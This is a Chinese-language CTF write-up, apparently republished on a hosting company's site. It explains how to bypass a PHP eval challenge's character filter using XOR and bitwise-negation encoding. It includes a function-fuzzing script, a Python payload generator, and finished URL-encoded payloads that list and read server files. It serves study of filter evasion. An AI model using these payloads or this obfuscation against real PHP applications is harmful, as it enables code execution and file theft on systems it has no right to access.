您好,登錄后才能下訂單哦!
如何看待php與bypass,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
代碼如下
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
前面的那個正則過濾大概就是過濾了下面的這些字符,借鑒師傅博客
\x00- 0-9 匹配\x00到空格(\x20),0-9的數字 '"`$&.,|[{_defgops 匹配這些字符 \x7F 匹配DEL(\x7F)字符
而下面的這個if語句實現的效果是,所傳入的變量里面的所有不同的字符的個數不能超過十六進制的0xd
也就是十進制的13
,就是payload里面所有字符的總數不能超過13個就可了。
然后就是如何bypass了,這里可以看到并沒有過濾到^
,~
這兩個字符,所以可以使用取反繞過試一試,
但是一般情況下可以先寫個腳本看看還有那些函數是可以用的。php可用方法fuzz腳本
<?php
$array=get_defined_functions();//返回所有內置定義函數
foreach($array['internal'] as $arr){ //遍歷所有方法
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
所的結果如下
rtrim trim ltrim chr link unlink tan atan atanh tanh intval mail min max
雖然這里沒什么能用的,但是這個fuzz的腳本還是很有啟發性的,遇到bypass的時候可以先用這樣的腳本試一試是不是能夠直接用某些危險方法。
這里直接使用取反的那個操作,下面是代碼。
<?php
$a = urlencode(~'phpinfo');
echo($a);
雖然出來了,但是其實沒啥用,因為phpinfo();
本來的字符數就沒有超過13個,接下來就是縮短字符數與看未被禁用的函數了,下面是被disabled的方法
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,
我就認識三個可以命令執行的方法,但是沒過濾掃目錄的函數scandir()
,還有讀文件的函數readfile()
,還有打印變量信息的函數var_dump()
,我借鑒的那個wp里面用的是用多次使用^
和()
來異或的方式,這里我也這么做,但是條條大路通羅馬,肯定還有不少其他方法,這里就不復現了,遇到了再說吧。
這里我們想傳入的變量信息是這樣的
print_r(scandir('.'));
可以看看有多少個字符
<?php $s = "print_r(scandir('.'));"; $a = strlen(count_chars(strtolower($s), 0x3)); echo($a);
表面上是15個字符,但是其實還有^
也要用,就是16個了,參考腳本
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # Original chars,11 total result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp.append(d) print(len(temp), temp)
這個就是用幾個有的替代要刪掉的就行。然后還有個跟%ff
異或的問題,就是一個字符的十六進制形式與0xff
進行兩次異或之后還是原來的字符,而與0xff(int值為255)進行一次異或之后一般是ascii碼值大于128的不可見字符,然后^字符不會被過濾的話,就能實現bypass
,所以根據這個原理有下面的生成payload的腳本(借鑒了一些之后原創的嗷,就是沒實現自動化生成payload,要手動添加)
# -*- coding: utf-8 -*-# # ------------------------------------------------------------------------------- # Name: ctf # Description: 復現腳本 # Author: M4XLMUM # Date: 2021/4/12 # ------------------------------------------------------------------------------- import operator # s = ['print_r', 'scandir', '.'] # 更換成為想要的字符串 s = ['readfile', 'end', 'scandir', '.'] # 更換成為想要的字符串 ans = {} pattern = [] s2 = '' # 需要進行替換的字符, 假設只對出現一次的字符串進行替換。 # 統計s列表中的字符的出現次數 for j in ''.join(s): ans[j] = ''.join(s).count(j) for i in ans.keys(): ans[i] = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') keys = ans.keys() for i in keys: for j in keys: for k in keys: for m in keys: if ord(j) ^ ord(k) ^ ord(m) == ord(i): if j == k or j == m or m == k: continue else: flag = 1 for temp in pattern: if i in temp and j in temp and k in temp and m in temp: flag = 0 if flag: pattern.append(i+j+k+m) '''經測試,此塊無用geigeigei # 對幾對一組的字符串中字符出現次數進行排序,并找出需要進行替換的字符`s2` temp = {} for i in ''.join(pattern): npattern[i] = ''.join(pattern).count(i) # npattern = sorted(temp.items(), key=operator.itemgetter(1)) for i in npattern: if npattern[i] == 1: s2 += i # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ''' print(pattern) # 打印出pattern之后自己識別需要替換哪一個字符。 ''' 懶得寫自動化腳本了,我的小腦子想不太出來 這里的四個字符組成一組的原理實際上就是采用了異或計算的性質,即四個字符中,如果任意三個字符的異或等于另一個,那么這四個字符中任意三個的異或等于另一個字符。 這里的結果是:['prca', 'ints', 'incd', 'tscd'] 那需要替換的可以是:p == r^c^a, i == n^c^d, t == s^c^d ''' # 替換字符為十六進制的形式 # temp = {'p': 'rca', 'i': 'ncd', 't': 'scd'} temp = {'r': 'eds', 'a': 'dfc', 'd': 'fln', 'i': 'flc'} rtable = {} # 需要進行替換的表(已轉為十六進制) for i in temp: tempkey = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') tempvalue = '' for k in temp[i]: tempvalue += hex(int(hex(ord(k)), 16) ^ 0xff).replace('0x', '%') rtable[tempkey] = tempvalue for i in s: temp1 = '' temp2 = '' temp3 = '' temp4 = '' for j in i: temp0 = hex(int(hex(ord(j)), 16) ^ 0xff).replace('0x', '%') if temp0 in rtable: temp1 += rtable[temp0][:3] temp2 += rtable[temp0][3:6] temp3 += rtable[temp0][6:9] temp4 += '%ff' else: temp1 += temp0 temp2 += '%ff' temp3 += '%ff' temp4 += '%ff' payload = '(' + temp1 + ')^(' + temp2 + ')^(' + temp3 + ')^(' + temp4 + ')' print(payload) # payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)))); ''' 上面的payload之所以多加了許多括號是因為要防止異或之后連在一起,反正加個括號也不多的樣子 '''
# payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));
第一個payload暴露出當前路徑下的文件,第二個payload讀當前路徑下的最后一個文件。
上面的腳本的bypass的原理可以分成兩個來說
這個很簡單,就是使用payload的十六進制與0xff
進行異或(并將結果的0x換為%)
,因為異或計算的性質,一個十六進制與0xff``(這里的0xff實際上可以是任何的其他值應該)
進行兩次異或之后等于原來的值。
這個操作上是將payload的字符串里面的字符替換為本來字符串內還有的其他的字符串的值的異或,例如payload為print_r(scandir(.));
時,有下面的等價關系p == r^c^a, i == n^c^d, t == s^c^d
,就這樣替換。
再從異或層面解釋原理就是,一個字符的十六進制與0xff
進行四次異或之后還是它本身,總之就是偶數次異或之后一定等于原來的字符。
關于如何看待php與bypass問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。